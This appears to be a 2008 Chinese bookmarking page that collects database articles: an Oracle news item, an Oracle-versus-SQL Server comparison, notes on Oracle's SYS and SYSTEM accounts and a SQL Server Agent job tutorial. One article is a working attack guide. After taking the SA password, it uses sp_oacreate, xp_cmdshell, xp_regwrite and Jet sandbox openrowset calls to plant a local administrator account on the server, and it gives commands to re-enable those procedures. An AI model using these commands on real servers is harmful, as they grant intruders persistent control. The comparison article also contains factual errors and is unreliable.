据悉,Oracle已于前年在深圳高新区设立区域数据中心,目前在为企业提供加工数据和展现信息的工具平台方面,拥有一流的技术和服务。Oracle近期研发推出的商务智能解决方案,已能支持有关应用企业从已有应用软件和数据源中提取“实时信息”,并进行即时分析和显示,可对企业各种经营数据、信息,做到实时获取和分析,并助力企业在决策和管理方面实现快速“增值”。
http://it.sohu.com/20080729/n258441941.shtml
xuejinyoulan收录,使用标签:数据库,时间:2008-7-29 9:58:18 | 相关网摘,我也收藏
出处:IT专家网
甲骨文与微软两大数据库产品,是数据库发展史上的两座大山。这让我们在数据库选型的时候,基本上没有多大的选择余地,不是微软就是甲骨文。但是,从他们两者来说,还是有比较大的差异。今天笔者就谈谈在数据库选型的时候,不得不关注的他们之间的三个小差异。了解这些区别,能够给我们数据库选型带来很大的指导作用。
一、 所支持平台的差异。
甲骨文的数据库系统,是在JAVA平台上开发起来的,所以,保持着众多JAVA程序的特性。如有很多功能都需要利用命令来完成;如一些辅助工具也都是类似DOS窗口的命令行形式的窗口,等等。而基于JAVA平台开发的数据库版本,也继承了JAVA 的一个很重要的性能,就是跨平台性能。甲骨文的Oracle数据库可以在现有的大部分操作系统上顺利运行,如无论是开源的Linux系统还是微软的服务器系统,又或是苹果操作系统等等,都可以跑Oracle数据库系统。
而微软的SQL Server数据库系统,其只能够在微软的操作系统上运行,这除了技术上的因素之外,可能也是微软捆绑销售以及垄断的商业策略的体现吧。
但是,从各个方面考虑,数据库能够支持多个平台的特性,已经越来越重要。
一是从服务器稳定的角度考虑。到现在为止,开源的UNIX还是首选的服务器操作系统。UNIX服务器操作系统的稳定性是有目共睹的;而微软的服务器软件漏洞之多、稳定性之差也是大家感同身受的。相比之下,在一些稳定性要求比较高的应用上来说,大家更加喜欢使用UNIX(或者其分支LINUX)作为服务器软件。虽然,其在维护成本上可能会高于微软的服务器操作系统。既然在服务器操作系统上有多个平台可以选择,那么无论是企业还是软件公司,在数据库选型上,也必须要考虑这个趋势。若商业软件公司,他们开发的软件只支持微软的数据库,而不支持甲骨文的数据库的话,则他们开发的软件,就只能够在微软的操作系统平台上应用,而不能在如LINUX的平台下应用,这必将失去很大的一部分市场。在这方面,我们公司的CRM软件业务就吃过一次亏。由于我们公司的CRM软件是从其他公司收购过来的,其只支持微软的数据库产品。虽然跟微软的数据库产品捆绑销售,据说企业也从微软那边拿到了不少的返点,但是,也失去了不少的客户。因为现在不少客户在选型的时候,都需要CRM软件能够支持跨平台运行,特别是服务器上,出于稳定性考虑,他们都采用LINUX作为后台服务器的操作系统。但是,我们公司的CRM软件无法适应这个跨平台的需求,所以,被迫放弃了很多项目。现在研发部门正在研究,准备开发出一套能够支持跨平台的CRM软件。而要实现这个目标,首先要考虑的就是数据库要能够支持跨平台。
二是从客户端的部署成本考虑。跨平台也是一个必然的选择。现在微软进一步加强对盗版的打击力度,这虽然可能会增加微软的销售额,但是,也在一定程度上,把微软的用户向Linux等开元操作系统转移。为了适应这个趋势,企业在软件选型的时候,不仅在服务器上有所体现,在客户端上,企业也要求能够支持Linux等开源的操作系统。这个趋势,也给微软当头一棒。虽然说,信息化管理软件的跨平台性能除了跟数据库有关外,还跟信息化管理软件的开发平台相关。但是,从客户端的部署成本来考虑,大部分企业还是会采用免费的开源操作系统,而软件公司为了满足企业的这一需求,也会采用支持跨平台的开发语言;而他们也就自然而然会支持甲骨文的操作系统。这必将大大的影响微软数据库系统的市场占有率。
所以,笔者认为,不能够支持跨平台运行,这是微软数据库系统跟甲骨文数据库系统在市场竞争中,最大的劣势吧。
二、 部署成本上的区别。
在数据库部署成本上,两者的差异可以用一句话概述,就是甲骨文的数据库性能比微软的数据库性能要高几十倍,但是,部署价格的话,甲骨文系统也比微软的数据库系统高贵好几倍。当然,这是一个比较笼统的说法,在实际数据库选型中,还需要实际情况实际分析。
1、Oracle数据库也有一些免费的版本。为了吸引更多的客户,甲骨文数据库系统也推出了一些针对中小型企业的免费数据库系统,如XE等等。这些免费的数据库虽然比收费的数据库系统在某些方面受到了一些限制,如支持CPU以及数据库容量上有一定的限制,但是,对于小型企业的应用来说,没有多大的影响。而微软的数据库系统无论是大型应用还是小型应用,都是需要收费的。虽然,根据笔者的了解,不少中小型企业,在数据库选型的时候,选择了相对复杂的Oracle数据库系统,而放弃了收费高昂的微软的数据库系统。从这方面考虑,甲骨文的数据库实施成本反而比微软的数据库要小的多。
2、Oracle数据库部署成本高的原因,是他们还提供了很多收费的维护工具。其实,甲骨文的数据库系统,不仅仅是一个数据库软件,还有很多维护工具,而这些维护工具是跟数据库本身分开卖的。若就一个数据库系统,则对于大部分数据库管理员来说,是管理不好甲骨文的数据库系统的;如不少的甲骨文数据库管理员,失去了SQL*plus工具,就手足无策了。巧妇难为无米之炊,没有这些辅助工具,甲骨文的数据库管理员就好像魔术师失去了道具,无所适从。真是因为这些原因,甲骨文的数据库部署与维护成本,比微软的数据库系统要高的多。微软基本上没有什么收费的数据库系统官方工具,就是一个数据库系统,在里面也自带了企业管理器。利用这个企业管理器环境,基本上可以完成微软数据库系统的维护工作。正是因为如此,微软的数据库系统的部署与维护成本,要比甲骨文的低许多。当然,这是微软数据库系统以牺牲数据库的性能为代价的。毋庸置疑,真是因为这些丰富的甲骨文数据库辅助工具,才能够保障甲骨文数据库的高性能。
3、从数据库管理员的价值来说,两者之间也有比价到的差异。若把数据库管理员当作一个商品的话,则甲骨文的数据库管理员与微软的数据库管理员,同一个档次的,则前者比后者要贵许多。虽然都是数据库管理员,但是,就好像一个是本地组装的,一个是原装进口的,两者在价格上有很大的差异。不是笔者自夸,在同一个水平下,聘请一个甲骨文的数据库管理员,就可以凭请两到三个微软数据库管理员了,甚至更多。光从数据库维护人员的支出考虑,数据库维护成本,甲骨文的操作系统就要比微软的数据库操作系统贵两倍到三倍。这也正是甲骨文数据库维护成本比较高的另一个重要原因。不过,对于刚入门的数据库管理员来说,两者没有很大的区别;级别越高,两者的“价格”,差异就越大。
三、 社区氛围的差异。
社区氛围上的差异,这不仅是微软与甲骨文数据库系统上的差异,也是这两家公司经营文化上的差异。
微软非常注重整个产品的社区氛围。如笔者在数据库这个行业也已经有很长的经验了,笔者曾多次受到微软公司的邀请,听他们的新产品发布会、研讨会之类的;而且,在网上,还有专门的免费教育。在GOOGLE上,输入微软数据库教学,可以查询到很多官方的培训视频。但是,甲骨文公司在这点上,明显不如微软。笔者使用了这么多年的Oracle数据库,从最初的9开始,到现在的这个最新的版本,这么多的版本变更,笔者从来没有听说过,甲骨文公司什么时候在全国各地开过产品发布说明会了,更没有用户研讨会了。而且,在网站上查找一下,也很难查到官方的培训光盘。所以说,微软是比较重视他们的用户群体的。
这一点不光是反映在他们的数据库产品上,在他们的CRM软件业是如此。正是这一点,让微软抓住了很多用户的心,这对于他们开拓市场,具有很好的辅助作用。
微软积极营造的这种社区氛围,对于用户了解微软的数据库产品,学习他们的数据库产品技术,是非常有帮助的。而由于甲骨文缺少这种氛围,所以,基本上只有通过培训才能够进入甲骨文的数据库管理员这个团队,入门比较困难。
http://database.ctocio.com.cn/analysis/427/8237927.shtml
xuejinyoulan收录,使用标签:数据库,时间:2008-7-29 9:22:29 | 相关网摘,我也收藏
来源:赛迪网
在获得SA密码后,往往因为服务器管理者或”前人”将net.exe和net1.exe被限制使用,无法添加管理员账号。我们知道VBS在活动目录(ADSI)部分有一个winnt对象,用来管理本地资源,利用它可以不依靠CMD等命令就能添加一个管理员,具体代码如下:
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") '属性,admin组
Set od=ob.Create("user","test") '建立用户
od.SetPassword "1234" '设置密码
od.SetInfo '保存
Set of=GetObject(os&"/test",user) '得到用户
oe.add os&"/test"
将上面的代码保存为1.vbs,然后执行,命令为“cscript 1.vbs”,这样就会在系统添加一个系统名为test,密码为1234的用户。具体在查询分析器执行的代码如下:
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject
("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.
ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject
(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create
("user","test")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject
(os&"/test",user) '
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
执行完上面的语句,再执行下面这行代码,这行代码一定单独执行,不要与上面的放在一起执行,否则会提示“c:\1.vbs正被另一个程序运行”而无法成功添加用户:
exec master..xp_cmdshell 'cscript c:\1.vbs'
如果系统用户没有添加成功,有可能是因为系统用户的密码1234的太简单,不符合服务器的复杂密码策略,可以考虑设置的复杂些,然后再测试一下。也可以使用echo将代码写到1.vbs中,代码格式为:
exec master..xp_cmdshell 'echo set wsnetwork=CreateObject("WSCRIPT.NETWORK")
>>1.vbs'
不过,不知道为什么所有带“&”字符的命令行都无法写入1.vbs,感兴趣的朋友可以尝试解决一下。
使用jet沙盘模式,可以解决XP_cmdshell等存储过程和相关动态链接库带来的烦恼。出于安全原因,系统默认情况下沙盘模式未开启,这就需要xp_regwrite开启沙盘模式:
Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0
\Engines','SandBoxMode','REG_DWORD',1
然后执行沙盘命令,在系统添加一个用户名为test,密码为1234的用户:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows
\system32\ias\ias.mdb','select shell("cmd.exe /c net user test 1234 /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows
\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup
administrators test /add")')
不同的操作系统,路径也不一样,需要根据情况做修改:
NT/2K: c:\winnt\system32\
XP/2003: c:\windows\system32\
另外Microsoft SQL Server2005在默认情况下,一些存储过程是关闭着的,需要命令打开:
开启XP_cmdshell:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure
'xp_cmdshell', 1;RECONFIGURE;
开启'OPENROWSET':
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
'Ad Hoc Distributed Queries',1;RECONFIGURE;
开启'sp_oacreate':
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp
http://tech.ccidnet.com/art/1105/20080728/1523035_1.html
xuejinyoulan收录,使用标签:数据库,时间:2008-7-29 9:21:26 | 相关网摘,我也收藏
来源:赛迪网
sys是Oracle数据库中权限最高的帐号,具有create database的权限,而system没有这个权限,sys的角色是sysdba,system的角色是sysoper。
其余就是他们两个用户共有的权限了:
startup/shutdown/dba两个用户都是可以管理的。
平时用system来管理数据库就可以了。这个用户的权限对于普通的数据库管理来说已经足够权限了。
SYSDBA
Perform STARTUP and SHUTDOWN operations
ALTER DATABASE: open, mount, back up, or change character set
CREATE DATABASE
CREATE SPFILE
ARCHIVELOG and RECOVERY
Includes the RESTRICTED SESSION privilege
Effectively, this system privilege allows a user to connect as user SYS.
SYSOPER
Perform STARTUP and SHUTDOWN operations
CREATE SPFILE
ALTER DATABASE OPEN/MOUNT/BACKUP
ARCHIVELOG and RECOVERY
Includes the RESTRICTED SESSION privilege
This privilege allows a user to perform basic operational tasks, but without the ability to look at user data
http://tech.ccidnet.com/art/1105/20080728/1523083_1.html
xuejinyoulan收录,使用标签:数据库,时间:2008-7-29 9:20:24 | 相关网摘,我也收藏
来源:赛迪网
如果在SQL Server 里需要定时或者每隔一段时间执行某个存储过程或3200字符以内的SQL语句时,可以用管理->SQL Server代理->作业来实现。
1、管理->SQL Server代理->作业(按鼠标右键)->新建作业->
2、新建作业属性(常规)->名称[自定义本次作业的名称]->启用的方框内是勾号->
分类处可选择也可用默认的[未分类(本地)]->所有者默认为登录SQL Server用户[也可选其它的登录]->
描述[填写本次工作详细描述内容];
[ 创建作业分类的步骤:
SQL Server代理->作业->右键选所有任务->添加、修改、删除 ]
3、新建作业属性(步骤)->新建->步骤名[自定义第一步骤名称]->类型[Transact-SQL(TSQL)脚本]->
数据库[要操作的数据库]->命令
[如果是简单的SQL直接写进去即可,也可用打开按钮输入一个已写好的*.sql文件
如果要执行存储过程,填
exec p_procedure_name v_parameter1,[ v_parameter2…v_parameterN]
]
->确定
(如果有多个步骤,可以再次调用下面的新建按钮;也可以对已有的多个步骤插入、编辑、删除);
4、建作业属性(调度)->新建调度->名称[自定义调度名称]->启用的方框内是勾号->调度->反复出现->
更改[调度时间表]->确定
(如果只要保存此作业,不要定时做可以把启用的方框内是勾号去掉);
5、建作业属性(通知)->用默认的通知方法就好[当作业失败时,写入Windows应用程序系统日志] ->确定。
跟作业执行相关的一些SQL Server知识:
SQLSERVERAGENT服务必须正常运行,启动它的NT登录用户要跟启动SQL Server数据库的NT登录用户一致。
点作业右键可以查看作业执行的历史记录情况,也可以立即启动作业和停止作业。
最近在看作业历史记录时,发现有的作业记录的历史记录多,有的作业记录的记录的历史记录少。
如何能使某些作业按各自的需求,保留一段时间.比如保留一个月的历史记录.
看了SQL Server的在线帮助文档,里面介绍说:
在管理->SQL Server代理->右键选属性->作业系统->限制作业历史记录日志的大小->
作业历史记录日志的最大大小(行数) 默认为1000 如果某台机器的作业数量很多,一定要提高它,例如为100000
每个作业历史记录日志的最大行数 默认为100 如果作业每天执行两次,需要保留一个月的日志,可以设为60。
它们之间有一个相互制约关系, 我们可以根据自己的需要来改。
如果SQL Server服务器改过机器名, 管理是旧名称时建立的job的时候可能会遇到
错误14274: 无法添加、更新或删除从MSX服务器上发起的作业(或其步骤或调度)
看了Microsoft的文档:http://support.microsoft.com/default.aspx?scid=kb;en-us;281642
说SQL Server 2000系统里msdb..sysjobs 里originating_server 字段里存的是原来的服务器的名称.
24X7在用的系统肯定不能按上面Microsoft的文档说的那样把名字改回来又改过去。
于是想,msdb..sysjobs 能否update originating_server 字段成现在在用的新服务器名?
use msdb
select * from sysjobs
找到originating_server 字段还是旧服务器的job_id, 然后执行update语句:
update sysjobs set originating_server='new_server_name'
where job_id='B23BBEBE-A3C1-4874-A4AB-0E2B7CD01E14'
(所影响的行数为 1 行)
这样就可以添加、更新或删除那些曾经出error 14274 的作业了。
如果想把作业由一台机器迁移到另一台机器,可以先保留好创建作业的脚本, 然后在另一台机器上运行。
导出所有作业的创建脚本操作步骤:
管理->SQL Server代理->作业(鼠标右键)->所有任务->生成SQL脚本->保存到操作系统下的某个sql文件
导出某一个作业的创建脚本操作步骤:
管理->SQL Server代理->作业->选中待转移的作业(鼠标右键)->所有任务->生成SQL脚本->保存到OS下的某个sql文件
然后在目的服务器上运行刚才保存下来的创建作业的sql脚本。
如果建作业的用户或者提醒的用户不存在, 则会出错;
我们需要在目的服务器上建立相关的WINDOWS用户或者SQL Server数据库登录, 也可以修改创建作业的脚本, 把目的服务器上不存在的用户替换成已经有的用户。
如果生成日志的物理文件目录不存在,也应该做相关的修改,例如d:\区转f:\区等。另外,字符串的 @command 命令里有分隔符号 go 也会出错, 可以把它去掉。
http://tech.ccidnet.com/art/1105/20080725/1521051_1.html
共2451个网摘 [
1 2 3 4 5 6 7 8 ...
82 ]
上一页 |
下一页